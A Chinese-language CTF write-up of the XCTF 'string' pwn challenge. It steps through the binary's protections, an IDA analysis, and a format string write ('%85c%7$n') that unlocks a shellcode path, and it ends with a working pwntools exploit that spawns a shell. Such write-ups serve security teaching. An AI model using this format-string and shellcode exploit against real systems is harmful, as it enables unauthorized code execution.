攻防世界 Pwn string
1.checksec看一下保护
除了PIE其他保护都开了
2.IDA分析一下源码
v3申请了8大小的内存空间,然后在前4个空间中存放了数字68,在后四个空间中存放了数字85。而v4中存放的是v3的内容,并不是68和85两个数字,而是存放了两个数字的内存空间地址。
3. 看一下sub_400D72函数
这里使用了scanf(%s)函数,看起来是危险函数,但是对输入的长度做了限制,并且设置了canary保护,实际是不可以利用的漏洞
4.再看一下其他的函数sub_400A7D
这里输入只能选east,再接着看其他函数
5.看一下sub_400BB9函数
这个地方选1的话会输入一个地址,第二个输入点存在格式化字符串漏洞,我们可以对某一空间进行任意写的操作,然后我们接着看第三个调用的函数
6.看一下sub_400CA6
其中a1存放的是v3的地址,就是我们v3申请的内存大小为8的内存空间。理顺思路,这里如果我们可以使这8内存的空间中的前四个字节和后四个字节相等,就可以打shellcode。于是我们可以理顺思路,在最开始时拿到两个4字节的地址->v3[0]和v3[1]的地址,然后在之后的函数中将其中一个修改成和另一个相同->再在此处打shellcode。exp如下:
7.exp附上
from pwn import *
#p = remote("111.198.29.45","49404")
p = process("./string")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()